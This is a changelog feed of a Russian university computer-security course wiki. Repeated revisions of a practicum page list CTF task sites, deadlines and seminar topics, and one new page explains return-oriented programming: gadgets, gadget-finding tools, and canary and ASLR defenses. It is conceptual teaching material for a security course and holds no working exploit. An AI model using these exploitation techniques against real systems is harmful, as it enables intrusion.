&lt;br /&gt;
Практикум связан с курсом &amp;quot;Безопасность компьютерных систем&amp;quot;, который читается для группы 319/2, и содержит практические задания по темам курса. Каждое занятие практикума имеет формат воркшопа/семинара - т.е. занятие будет практическим, на него надо приходить с ноутбуком, а также установленным софтом. Набор нужного для занятия софта объявляется отдельно перед занятием.&lt;br /&gt;
&lt;br /&gt;
Основные темы, которые будут затронуты в практикуме 2023/2024 учебного года:&lt;br /&gt;
* веб-безопасность&lt;br /&gt;
* реверс-инжиниринг и эксплуатация бинарных программ&lt;br /&gt;
* криптография&lt;br /&gt;
* сетевая безопасность&lt;br /&gt;
&lt;br /&gt;
Оценка за практикум будет определяться по результатам выполнения практических заданий. За каждое из заданий будут даваться баллы, сумма баллов и определит оценку. Задания будут делиться на обязательные и бонусные, баллы за все обязательные задания одной темы будут в сумме давать &#039;&#039;&#039;1000&#039;&#039;&#039;, таким образом, баллы за все обязательные задания одного семестра вместе дадут &#039;&#039;&#039;2000&#039;&#039;&#039;.&lt;br /&gt;
Большая часть заданий будет выполнена в формате ctf-тасков&amp;lt;ref&amp;gt;Про CTF и CTF-команду [[Bushwhackers]]&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
== Задания ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Задания выполнены в формате task-based CTF: в каждом задании есть один или несколько &amp;quot;флагов&amp;quot;, выполняющих роль ценных данных, которые требуется найти и украсть атакующему, для выполнения задания необходимо получить флаг и сдать его в принимающую систему. За каждый сданный флаг начисляются очки. Флаг представляет из себя строку, которая может состоять из цифр и букв английского алфавита, а также нижних подчеркиваний (&amp;quot;_&amp;quot;).&lt;br /&gt;
&lt;br /&gt;
Флаги, входящие в обязательную часть, будут начинаться с префикса main_&lt;br /&gt;
&lt;br /&gt;
Флаги нужно сдавать в [https://dashboard.prak.seclab.cs.msu.ru/ принимающую систему]. В ней нужно заранее зарегистрироваться (ник в формате &#039;&#039;Фамилия Имя&#039;&#039;) и дождаться активации, без этого сдавать флаги не получится Флаги время от времени меняются, если вы получили флаг, но он не сдается, попробуйте вытащить его еще раз и сдать снова - возможно, он поменялся как раз в тот момент. Флаг за одно и то же задание засчитывается для того же сдающего только один раз (даже после изменения).&lt;br /&gt;
&lt;br /&gt;
=== Веб ===&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;s&amp;gt;[[Практикум_на_ЭВМ_(2023)/Бонусное_задание|Бонусное задание]]&amp;lt;/s&amp;gt;&lt;br /&gt;
* &amp;lt;s&amp;gt;http://club.tasks.prak.seclab.cs.msu.ru/&amp;lt;/s&amp;gt; (deadline - 17.10.2023 23:43)&lt;br /&gt;
* &amp;lt;s&amp;gt;http://bank.tasks.prak.seclab.cs.msu.ru/&amp;lt;/s&amp;gt; (deadline - 24.10.2023 23:59)&lt;br /&gt;
* &amp;lt;s&amp;gt;http://corporate.tasks.prak.seclab.cs.msu.ru/&amp;lt;/s&amp;gt; (deadline - 24.10.2023 23:59)&lt;br /&gt;
* &amp;lt;s&amp;gt;http://pwnitter.tasks.prak.seclab.cs.msu.ru/&amp;lt;/s&amp;gt; (deadline - 24.10.2023 23:59)&lt;br /&gt;
* &amp;lt;s&amp;gt;http://hard.tasks.prak.seclab.cs.msu.ru&amp;lt;/s&amp;gt; (deadline - 31.10.2023 14:00)&lt;br /&gt;
* &amp;lt;s&amp;gt;http://jpg.tasks.prak.seclab.cs.msu.ru&amp;lt;/s&amp;gt; (deadline - 31.10.2023 14:00)&lt;br /&gt;
* &amp;lt;s&amp;gt;http://shop.tasks.prak.seclab.cs.msu.ru/&amp;lt;/s&amp;gt;  (dedline - 23.11.2023 23:59)&lt;br /&gt;
&lt;br /&gt;
=== Реверс-инжиниринг и бинарная эксплуатация ===&lt;br /&gt;
&lt;br /&gt;
* [[Media:2023 reverse tasks.zip|Задания по реверсу]] (deadline - 16.11.2023 23:59:59.999999 MSK)&lt;br /&gt;
* [[Media:2023 pwn tasks.tar.gz|Задания по бинарной эксплутации]] (deadline - 17.12.2023 23:59:59.999999 MSK)&lt;br /&gt;
&lt;br /&gt;
== Материалы ==&lt;br /&gt;
&lt;br /&gt;
=== Веб ===&lt;br /&gt;
&lt;br /&gt;
Семинар 1 (11 сентября 2023) [[Веб-безопасность/Введение в веб-технологии]]&lt;br /&gt;
&lt;br /&gt;
Семинар 2 (18 сентября 2023) [[Веб-безопасность/Базы_данных_SQL]]&lt;br /&gt;
&lt;br /&gt;
Семинар 3 (25 сентября 2023) [[Веб-безопасность/Уязвимости_SQLi]]&lt;br /&gt;
&lt;br /&gt;
Семинар 4 (2 октября 2023) [[Веб-безопасность/Уязвимости_XSS]]&lt;br /&gt;
&lt;br /&gt;
Семинар 5 (9 октября 2023) [[Веб-безопасность/Уязвимости_FileUpload]]&lt;br /&gt;
&lt;br /&gt;
Семинар 6 (16 октября 2022) [[Веб-безопасность/Атаки_SSRF]]&lt;br /&gt;
&lt;br /&gt;
Семинар 7 (23 октября 2020) [[Веб-безопасность/Уязвимости_XXE]]&lt;br /&gt;
&lt;br /&gt;
=== Реверс-инжиниринг и бинарная эксплуатация ===&lt;br /&gt;
&lt;br /&gt;
Семинар 8 (30 октября 2023) [[Бинарные_уязвимости/Инструменты_поиска_бинарных_уязвимостей]]&lt;br /&gt;
&lt;br /&gt;
Семинар 10 (20 ноября 2022) [[Бинарные_уязвимости/Переполнение_стека]]&lt;br /&gt;
&lt;br /&gt;
Семинар 11 (27 ноября 2022) [[Бинарные_уязвимости/ROP]]&lt;br /&gt;
&lt;br /&gt;
== Примечания ==&lt;br /&gt;
&amp;lt;references/&amp;gt;&lt;/div&gt;</summary>
		<author><name>WGH</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%A4%D0%B0%D0%B9%D0%BB:2023_pwn_tasks.tar.gz&amp;diff=818</id>
		<title>Файл:2023 pwn tasks.tar.gz</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%A4%D0%B0%D0%B9%D0%BB:2023_pwn_tasks.tar.gz&amp;diff=818"/>
		<updated>2023-12-02T23:43:49Z</updated>

		<summary type="html">&lt;p&gt;WGH: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>WGH</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%9F%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D0%BA%D1%83%D0%BC_%D0%BD%D0%B0_%D0%AD%D0%92%D0%9C_(2023)&amp;diff=817</id>
		<title>Практикум на ЭВМ (2023)</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%9F%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D0%BA%D1%83%D0%BC_%D0%BD%D0%B0_%D0%AD%D0%92%D0%9C_(2023)&amp;diff=817"/>
		<updated>2023-12-02T23:37:59Z</updated>

		<summary type="html">&lt;p&gt;WGH: /* Реверс-инжиниринг и бинарная эксплуатация */ задания!&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__NOTOC__&lt;br /&gt;
&#039;&#039;&#039;Практикум на ЭВМ&#039;&#039;&#039; кафедры ИБ ВМК МГУ ведут сотрудники лаборатории интеллектуальных систем кибербезопасности для групп 319/1 и 319/2.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Когда&#039;&#039;&#039;: по понедельникам, 12:50&lt;br /&gt;
* &#039;&#039;&#039;Где&#039;&#039;&#039;: аудитория 706&lt;br /&gt;
&lt;br /&gt;
Практикум связан с курсом &amp;quot;Безопасность компьютерных систем&amp;quot;, который читается для группы 319/2, и содержит практические задания по темам курса. Каждое занятие практикума имеет формат воркшопа/семинара - т.е. занятие будет практическим, на него надо приходить с ноутбуком, а также установленным софтом. Набор нужного для занятия софта объявляется отдельно перед занятием.&lt;br /&gt;
&lt;br /&gt;
Основные темы, которые будут затронуты в практикуме 2023/2024 учебного года:&lt;br /&gt;
* веб-безопасность&lt;br /&gt;
* реверс-инжиниринг и эксплуатация бинарных программ&lt;br /&gt;
* криптография&lt;br /&gt;
* сетевая безопасность&lt;br /&gt;
&lt;br /&gt;
Оценка за практикум будет определяться по результатам выполнения практических заданий. За каждое из заданий будут даваться баллы, сумма баллов и определит оценку. Задания будут делиться на обязательные и бонусные, баллы за все обязательные задания одной темы будут в сумме давать &#039;&#039;&#039;1000&#039;&#039;&#039;, таким образом, баллы за все обязательные задания одного семестра вместе дадут &#039;&#039;&#039;2000&#039;&#039;&#039;.&lt;br /&gt;
Большая часть заданий будет выполнена в формате ctf-тасков&amp;lt;ref&amp;gt;Про CTF и CTF-команду [[Bushwhackers]]&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
== Задания ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Задания выполнены в формате task-based CTF: в каждом задании есть один или несколько &amp;quot;флагов&amp;quot;, выполняющих роль ценных данных, которые требуется найти и украсть атакующему, для выполнения задания необходимо получить флаг и сдать его в принимающую систему. За каждый сданный флаг начисляются очки. Флаг представляет из себя строку, которая может состоять из цифр и букв английского алфавита, а также нижних подчеркиваний (&amp;quot;_&amp;quot;).&lt;br /&gt;
&lt;br /&gt;
Флаги, входящие в обязательную часть, будут начинаться с префикса main_&lt;br /&gt;
&lt;br /&gt;
Флаги нужно сдавать в [https://dashboard.prak.seclab.cs.msu.ru/ принимающую систему]. В ней нужно заранее зарегистрироваться (ник в формате &#039;&#039;Фамилия Имя&#039;&#039;) и дождаться активации, без этого сдавать флаги не получится Флаги время от времени меняются, если вы получили флаг, но он не сдается, попробуйте вытащить его еще раз и сдать снова - возможно, он поменялся как раз в тот момент. Флаг за одно и то же задание засчитывается для того же сдающего только один раз (даже после изменения).&lt;br /&gt;
&lt;br /&gt;
=== Веб ===&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;s&amp;gt;[[Практикум_на_ЭВМ_(2023)/Бонусное_задание|Бонусное задание]]&amp;lt;/s&amp;gt;&lt;br /&gt;
* &amp;lt;s&amp;gt;http://club.tasks.prak.seclab.cs.msu.ru/&amp;lt;/s&amp;gt; (deadline - 17.10.2023 23:43)&lt;br /&gt;
* &amp;lt;s&amp;gt;http://bank.tasks.prak.seclab.cs.msu.ru/&amp;lt;/s&amp;gt; (deadline - 24.10.2023 23:59)&lt;br /&gt;
* &amp;lt;s&amp;gt;http://corporate.tasks.prak.seclab.cs.msu.ru/&amp;lt;/s&amp;gt; (deadline - 24.10.2023 23:59)&lt;br /&gt;
* &amp;lt;s&amp;gt;http://pwnitter.tasks.prak.seclab.cs.msu.ru/&amp;lt;/s&amp;gt; (deadline - 24.10.2023 23:59)&lt;br /&gt;
* &amp;lt;s&amp;gt;http://hard.tasks.prak.seclab.cs.msu.ru&amp;lt;/s&amp;gt; (deadline - 31.10.2023 14:00)&lt;br /&gt;
* &amp;lt;s&amp;gt;http://jpg.tasks.prak.seclab.cs.msu.ru&amp;lt;/s&amp;gt; (deadline - 31.10.2023 14:00)&lt;br /&gt;
* &amp;lt;s&amp;gt;http://shop.tasks.prak.seclab.cs.msu.ru/&amp;lt;/s&amp;gt;  (dedline - 23.11.2023 23:59)&lt;br /&gt;
&lt;br /&gt;
=== Реверс-инжиниринг и бинарная эксплуатация ===&lt;br /&gt;
&lt;br /&gt;
* [[Media:2023 reverse tasks.zip|Задания по реверсу]] (deadline - 16.11.2023 23:59:59.999999 MSK)&lt;br /&gt;
* [[Media:2023 pwn tasks.tar.gz|Задания по бинарной эксплутации]] (deadline - 17.11.2023 23:59:59.999999 MSK)&lt;br /&gt;
&lt;br /&gt;
== Материалы ==&lt;br /&gt;
&lt;br /&gt;
=== Веб ===&lt;br /&gt;
&lt;br /&gt;
Семинар 1 (11 сентября 2023) [[Веб-безопасность/Введение в веб-технологии]]&lt;br /&gt;
&lt;br /&gt;
Семинар 2 (18 сентября 2023) [[Веб-безопасность/Базы_данных_SQL]]&lt;br /&gt;
&lt;br /&gt;
Семинар 3 (25 сентября 2023) [[Веб-безопасность/Уязвимости_SQLi]]&lt;br /&gt;
&lt;br /&gt;
Семинар 4 (2 октября 2023) [[Веб-безопасность/Уязвимости_XSS]]&lt;br /&gt;
&lt;br /&gt;
Семинар 5 (9 октября 2023) [[Веб-безопасность/Уязвимости_FileUpload]]&lt;br /&gt;
&lt;br /&gt;
Семинар 6 (16 октября 2022) [[Веб-безопасность/Атаки_SSRF]]&lt;br /&gt;
&lt;br /&gt;
Семинар 7 (23 октября 2020) [[Веб-безопасность/Уязвимости_XXE]]&lt;br /&gt;
&lt;br /&gt;
=== Реверс-инжиниринг и бинарная эксплуатация ===&lt;br /&gt;
&lt;br /&gt;
Семинар 8 (30 октября 2023) [[Бинарные_уязвимости/Инструменты_поиска_бинарных_уязвимостей]]&lt;br /&gt;
&lt;br /&gt;
Семинар 10 (20 ноября 2022) [[Бинарные_уязвимости/Переполнение_стека]]&lt;br /&gt;
&lt;br /&gt;
Семинар 11 (27 ноября 2022) [[Бинарные_уязвимости/ROP]]&lt;br /&gt;
&lt;br /&gt;
== Примечания ==&lt;br /&gt;
&amp;lt;references/&amp;gt;&lt;/div&gt;</summary>
		<author><name>WGH</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%91%D0%B8%D0%BD%D0%B0%D1%80%D0%BD%D1%8B%D0%B5_%D1%83%D1%8F%D0%B7%D0%B2%D0%B8%D0%BC%D0%BE%D1%81%D1%82%D0%B8/ROP&amp;diff=816</id>
		<title>Бинарные уязвимости/ROP</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%91%D0%B8%D0%BD%D0%B0%D1%80%D0%BD%D1%8B%D0%B5_%D1%83%D1%8F%D0%B7%D0%B2%D0%B8%D0%BC%D0%BE%D1%81%D1%82%D0%B8/ROP&amp;diff=816"/>
		<updated>2023-12-02T17:27:05Z</updated>

		<summary type="html">&lt;p&gt;WGH: Новая страница: «&amp;#039;&amp;#039;&amp;#039;Возвратно-ориентированное программирование&amp;#039;&amp;#039;&amp;#039; (&amp;#039;&amp;#039;&amp;#039;return-oriented programming&amp;#039;&amp;#039;&amp;#039;, &amp;#039;&amp;#039;&amp;#039;ROP&amp;#039;&amp;#039;&amp;#039;) — техника экс…»&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&#039;&#039;&#039;Возвратно-ориентированное программирование&#039;&#039;&#039; (&#039;&#039;&#039;return-oriented programming&#039;&#039;&#039;, &#039;&#039;&#039;ROP&#039;&#039;&#039;) — техника эксплуатации перезаписи стека вызовов.&lt;br /&gt;
&lt;br /&gt;
== Описание техники ==&lt;br /&gt;
&lt;br /&gt;
В ситуации, когда присутствует NX (защита от выполнения данных как кода), одним из выходом является переииспользование существующих фрагментов кода, чтобы вызвать какие-то библиотечные функции или системные вызовы.&lt;br /&gt;
&lt;br /&gt;
Но сперва нужно помнить, что, в соотвествии с [https://en.wikipedia.org/wiki/X86_calling_conventions#System_V_AMD64_ABI System V AMD64 ABI], для передачи аргументов функций используются регистры. Значит, аргументы нельзя просто так положить на стек, их нужно как-то поместить в регистры.&lt;br /&gt;
&lt;br /&gt;
Мы рассматриваем, в первую очердь, подобные фрагменты кода (x86_64):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
pop rdi&lt;br /&gt;
ret&lt;br /&gt;
&lt;br /&gt;
pop rsi&lt;br /&gt;
pop r15&lt;br /&gt;
ret&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Например, если в стеке на место адреса возврата положить последовательно адрес гаджета &amp;lt;code&amp;gt;pop rdi; ret&amp;lt;/code&amp;gt;, число 4, и адрес функции &amp;lt;code&amp;gt;f&amp;lt;/code&amp;gt;, то это будет иметь такой же эффект, как будто функция &amp;lt;code&amp;gt;f&amp;lt;/code&amp;gt; была вызвана с аргументом 4.&lt;br /&gt;
&lt;br /&gt;
Из гаджетов можно составлять длинные цепочки с последовательным заданием нескольких регистров, вызовами разных функций, и т.д.&lt;br /&gt;
&lt;br /&gt;
== Где искать гаджеты ==&lt;br /&gt;
&lt;br /&gt;
Гаджеты &amp;lt;code&amp;gt;pop rdi; ret&amp;lt;/code&amp;gt; с самыми интересными нам регистрами не встречаются естественным образом в типичной программе. Однако они встречаются, если рассматривать не только начала легитимных инструкций, но и середины. Для автоматического поиска гаджетов можно использовать, например, [https://github.com/JonathanSalwan/ROPgadget ROPgadget] или [https://github.com/sashs/Ropper ropper].&lt;br /&gt;
&lt;br /&gt;
Есть известный гаджет &amp;quot;ret2csu&amp;quot;, который не находится автоматически, но присутствует почти всегда, и позволяет вызвать функцию с тремя аргументами.&lt;br /&gt;
&lt;br /&gt;
== Средства защиты ==&lt;br /&gt;
&lt;br /&gt;
Во-первых, stack canary. Функция перед выходом перепроверяет, что секретное значение перед адресом возврата не было испорчено. Чтобы это обойти, нужно или как-то писать сразу за &amp;quot;канарейку&amp;quot;, или предварительно узнать значение &amp;quot;канарейки&amp;quot;, чтобы при перезаписи её оставить прежним.&lt;br /&gt;
&lt;br /&gt;
Во-вторых, ASLR. Сама программа, библиотеки, и стек будут находиться на случайных смещениях в памяти, изменяющихся при каждом запуске. Если не обойти это, узнав каким-нибудь образом фактические адреса загрузки, составить ROP-цепочку не получится, поскольку туда нужно записывать абсолютные адреса функций/строк/etc..&lt;br /&gt;
&lt;br /&gt;
== См. также ==&lt;br /&gt;
&lt;br /&gt;
* [[Введение_в_практическую_безопасность_(2019)/Бинарная_эксплуатация]]&lt;/div&gt;</summary>
		<author><name>WGH</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%9F%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D0%BA%D1%83%D0%BC_%D0%BD%D0%B0_%D0%AD%D0%92%D0%9C_(2023)&amp;diff=815</id>
		<title>Практикум на ЭВМ (2023)</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%9F%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D0%BA%D1%83%D0%BC_%D0%BD%D0%B0_%D0%AD%D0%92%D0%9C_(2023)&amp;diff=815"/>
		<updated>2023-12-02T16:41:04Z</updated>

		<summary type="html">&lt;p&gt;WGH: /* Реверс-инжиниринг и бинарная эксплуатация */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__NOTOC__&lt;br /&gt;
&#039;&#039;&#039;Практикум на ЭВМ&#039;&#039;&#039; кафедры ИБ ВМК МГУ ведут сотрудники лаборатории интеллектуальных систем кибербезопасности для групп 319/1 и 319/2.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Когда&#039;&#039;&#039;: по понедельникам, 12:50&lt;br /&gt;
* &#039;&#039;&#039;Где&#039;&#039;&#039;: аудитория 706&lt;br /&gt;
&lt;br /&gt;
Практикум связан с курсом &amp;quot;Безопасность компьютерных систем&amp;quot;, который читается для группы 319/2, и содержит практические задания по темам курса. Каждое занятие практикума имеет формат воркшопа/семинара - т.е. занятие будет практическим, на него надо приходить с ноутбуком, а также установленным софтом. Набор нужного для занятия софта объявляется отдельно перед занятием.&lt;br /&gt;
&lt;br /&gt;
Основные темы, которые будут затронуты в практикуме 2023/2024 учебного года:&lt;br /&gt;
* веб-безопасность&lt;br /&gt;
* реверс-инжиниринг и эксплуатация бинарных программ&lt;br /&gt;
* криптография&lt;br /&gt;
* сетевая безопасность&lt;br /&gt;
&lt;br /&gt;
Оценка за практикум будет определяться по результатам выполнения практических заданий. За каждое из заданий будут даваться баллы, сумма баллов и определит оценку. Задания будут делиться на обязательные и бонусные, баллы за все обязательные задания одной темы будут в сумме давать &#039;&#039;&#039;1000&#039;&#039;&#039;, таким образом, баллы за все обязательные задания одного семестра вместе дадут &#039;&#039;&#039;2000&#039;&#039;&#039;.&lt;br /&gt;
Большая часть заданий будет выполнена в формате ctf-тасков&amp;lt;ref&amp;gt;Про CTF и CTF-команду [[Bushwhackers]]&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
== Задания ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Задания выполнены в формате task-based CTF: в каждом задании есть один или несколько &amp;quot;флагов&amp;quot;, выполняющих роль ценных данных, которые требуется найти и украсть атакующему, для выполнения задания необходимо получить флаг и сдать его в принимающую систему. За каждый сданный флаг начисляются очки. Флаг представляет из себя строку, которая может состоять из цифр и букв английского алфавита, а также нижних подчеркиваний (&amp;quot;_&amp;quot;).&lt;br /&gt;
&lt;br /&gt;
Флаги, входящие в обязательную часть, будут начинаться с префикса main_&lt;br /&gt;
&lt;br /&gt;
Флаги нужно сдавать в [https://dashboard.prak.seclab.cs.msu.ru/ принимающую систему]. В ней нужно заранее зарегистрироваться (ник в формате &#039;&#039;Фамилия Имя&#039;&#039;) и дождаться активации, без этого сдавать флаги не получится Флаги время от времени меняются, если вы получили флаг, но он не сдается, попробуйте вытащить его еще раз и сдать снова - возможно, он поменялся как раз в тот момент. Флаг за одно и то же задание засчитывается для того же сдающего только один раз (даже после изменения).&lt;br /&gt;
&lt;br /&gt;
=== Веб ===&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;s&amp;gt;[[Практикум_на_ЭВМ_(2023)/Бонусное_задание|Бонусное задание]]&amp;lt;/s&amp;gt;&lt;br /&gt;
* &amp;lt;s&amp;gt;http://club.tasks.prak.seclab.cs.msu.ru/&amp;lt;/s&amp;gt; (deadline - 17.10.2023 23:43)&lt;br /&gt;
* &amp;lt;s&amp;gt;http://bank.tasks.prak.seclab.cs.msu.ru/&amp;lt;/s&amp;gt; (deadline - 24.10.2023 23:59)&lt;br /&gt;
* &amp;lt;s&amp;gt;http://corporate.tasks.prak.seclab.cs.msu.ru/&amp;lt;/s&amp;gt; (deadline - 24.10.2023 23:59)&lt;br /&gt;
* &amp;lt;s&amp;gt;http://pwnitter.tasks.prak.seclab.cs.msu.ru/&amp;lt;/s&amp;gt; (deadline - 24.10.2023 23:59)&lt;br /&gt;
* &amp;lt;s&amp;gt;http://hard.tasks.prak.seclab.cs.msu.ru&amp;lt;/s&amp;gt; (deadline - 31.10.2023 14:00)&lt;br /&gt;
* &amp;lt;s&amp;gt;http://jpg.tasks.prak.seclab.cs.msu.ru&amp;lt;/s&amp;gt; (deadline - 31.10.2023 14:00)&lt;br /&gt;
* &amp;lt;s&amp;gt;http://shop.tasks.prak.seclab.cs.msu.ru/&amp;lt;/s&amp;gt;  (dedline - 23.11.2023 23:59)&lt;br /&gt;
&lt;br /&gt;
=== Реверс-инжиниринг и бинарная эксплуатация ===&lt;br /&gt;
&lt;br /&gt;
* [[Media:2023 reverse tasks.zip|Задания по реверсу]] (deadline - 16.11.2023 23:59:59.999999 MSK)&lt;br /&gt;
&lt;br /&gt;
== Материалы ==&lt;br /&gt;
&lt;br /&gt;
=== Веб ===&lt;br /&gt;
&lt;br /&gt;
Семинар 1 (11 сентября 2023) [[Веб-безопасность/Введение в веб-технологии]]&lt;br /&gt;
&lt;br /&gt;
Семинар 2 (18 сентября 2023) [[Веб-безопасность/Базы_данных_SQL]]&lt;br /&gt;
&lt;br /&gt;
Семинар 3 (25 сентября 2023) [[Веб-безопасность/Уязвимости_SQLi]]&lt;br /&gt;
&lt;br /&gt;
Семинар 4 (2 октября 2023) [[Веб-безопасность/Уязвимости_XSS]]&lt;br /&gt;
&lt;br /&gt;
Семинар 5 (9 октября 2023) [[Веб-безопасность/Уязвимости_FileUpload]]&lt;br /&gt;
&lt;br /&gt;
Семинар 6 (16 октября 2022) [[Веб-безопасность/Атаки_SSRF]]&lt;br /&gt;
&lt;br /&gt;
Семинар 7 (23 октября 2020) [[Веб-безопасность/Уязвимости_XXE]]&lt;br /&gt;
&lt;br /&gt;
=== Реверс-инжиниринг и бинарная эксплуатация ===&lt;br /&gt;
&lt;br /&gt;
Семинар 8 (30 октября 2023) [[Бинарные_уязвимости/Инструменты_поиска_бинарных_уязвимостей]]&lt;br /&gt;
&lt;br /&gt;
Семинар 10 (20 ноября 2022) [[Бинарные_уязвимости/Переполнение_стека]]&lt;br /&gt;
&lt;br /&gt;
Семинар 11 (27 ноября 2022) [[Бинарные_уязвимости/ROP]]&lt;br /&gt;
&lt;br /&gt;
== Примечания ==&lt;br /&gt;
&amp;lt;references/&amp;gt;&lt;/div&gt;</summary>
		<author><name>WGH</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%9F%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D0%BA%D1%83%D0%BC_%D0%BD%D0%B0_%D0%AD%D0%92%D0%9C_(2023)&amp;diff=814</id>
		<title>Практикум на ЭВМ (2023)</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%9F%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D0%BA%D1%83%D0%BC_%D0%BD%D0%B0_%D0%AD%D0%92%D0%9C_(2023)&amp;diff=814"/>
		<updated>2023-12-02T16:40:01Z</updated>

		<summary type="html">&lt;p&gt;WGH: /* Реверс-инжиниринг и бинарная эксплуатация */ добавлен семинар в список&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__NOTOC__&lt;br /&gt;
&#039;&#039;&#039;Практикум на ЭВМ&#039;&#039;&#039; кафедры ИБ ВМК МГУ ведут сотрудники лаборатории интеллектуальных систем кибербезопасности для групп 319/1 и 319/2.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Когда&#039;&#039;&#039;: по понедельникам, 12:50&lt;br /&gt;
* &#039;&#039;&#039;Где&#039;&#039;&#039;: аудитория 706&lt;br /&gt;
&lt;br /&gt;
Практикум связан с курсом &amp;quot;Безопасность компьютерных систем&amp;quot;, который читается для группы 319/2, и содержит практические задания по темам курса. Каждое занятие практикума имеет формат воркшопа/семинара - т.е. занятие будет практическим, на него надо приходить с ноутбуком, а также установленным софтом. Набор нужного для занятия софта объявляется отдельно перед занятием.&lt;br /&gt;
&lt;br /&gt;
Основные темы, которые будут затронуты в практикуме 2023/2024 учебного года:&lt;br /&gt;
* веб-безопасность&lt;br /&gt;
* реверс-инжиниринг и эксплуатация бинарных программ&lt;br /&gt;
* криптография&lt;br /&gt;
* сетевая безопасность&lt;br /&gt;
&lt;br /&gt;
Оценка за практикум будет определяться по результатам выполнения практических заданий. За каждое из заданий будут даваться баллы, сумма баллов и определит оценку. Задания будут делиться на обязательные и бонусные, баллы за все обязательные задания одной темы будут в сумме давать &#039;&#039;&#039;1000&#039;&#039;&#039;, таким образом, баллы за все обязательные задания одного семестра вместе дадут &#039;&#039;&#039;2000&#039;&#039;&#039;.&lt;br /&gt;
Большая часть заданий будет выполнена в формате ctf-тасков&amp;lt;ref&amp;gt;Про CTF и CTF-команду [[Bushwhackers]]&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
== Задания ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Задания выполнены в формате task-based CTF: в каждом задании есть один или несколько &amp;quot;флагов&amp;quot;, выполняющих роль ценных данных, которые требуется найти и украсть атакующему, для выполнения задания необходимо получить флаг и сдать его в принимающую систему. За каждый сданный флаг начисляются очки. Флаг представляет из себя строку, которая может состоять из цифр и букв английского алфавита, а также нижних подчеркиваний (&amp;quot;_&amp;quot;).&lt;br /&gt;
&lt;br /&gt;
Флаги, входящие в обязательную часть, будут начинаться с префикса main_&lt;br /&gt;
&lt;br /&gt;
Флаги нужно сдавать в [https://dashboard.prak.seclab.cs.msu.ru/ принимающую систему]. В ней нужно заранее зарегистрироваться (ник в формате &#039;&#039;Фамилия Имя&#039;&#039;) и дождаться активации, без этого сдавать флаги не получится Флаги время от времени меняются, если вы получили флаг, но он не сдается, попробуйте вытащить его еще раз и сдать снова - возможно, он поменялся как раз в тот момент. Флаг за одно и то же задание засчитывается для того же сдающего только один раз (даже после изменения).&lt;br /&gt;
&lt;br /&gt;
=== Веб ===&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;s&amp;gt;[[Практикум_на_ЭВМ_(2023)/Бонусное_задание|Бонусное задание]]&amp;lt;/s&amp;gt;&lt;br /&gt;
* &amp;lt;s&amp;gt;http://club.tasks.prak.seclab.cs.msu.ru/&amp;lt;/s&amp;gt; (deadline - 17.10.2023 23:43)&lt;br /&gt;
* &amp;lt;s&amp;gt;http://bank.tasks.prak.seclab.cs.msu.ru/&amp;lt;/s&amp;gt; (deadline - 24.10.2023 23:59)&lt;br /&gt;
* &amp;lt;s&amp;gt;http://corporate.tasks.prak.seclab.cs.msu.ru/&amp;lt;/s&amp;gt; (deadline - 24.10.2023 23:59)&lt;br /&gt;
* &amp;lt;s&amp;gt;http://pwnitter.tasks.prak.seclab.cs.msu.ru/&amp;lt;/s&amp;gt; (deadline - 24.10.2023 23:59)&lt;br /&gt;
* &amp;lt;s&amp;gt;http://hard.tasks.prak.seclab.cs.msu.ru&amp;lt;/s&amp;gt; (deadline - 31.10.2023 14:00)&lt;br /&gt;
* &amp;lt;s&amp;gt;http://jpg.tasks.prak.seclab.cs.msu.ru&amp;lt;/s&amp;gt; (deadline - 31.10.2023 14:00)&lt;br /&gt;
* &amp;lt;s&amp;gt;http://shop.tasks.prak.seclab.cs.msu.ru/&amp;lt;/s&amp;gt;  (dedline - 23.11.2023 23:59)&lt;br /&gt;
&lt;br /&gt;
=== Реверс-инжиниринг и бинарная эксплуатация ===&lt;br /&gt;
&lt;br /&gt;
* [[Media:2023 reverse tasks.zip|Задания по реверсу]] (deadline - 16.11.2023 23:59:59.999999 MSK)&lt;br /&gt;
&lt;br /&gt;
== Материалы ==&lt;br /&gt;
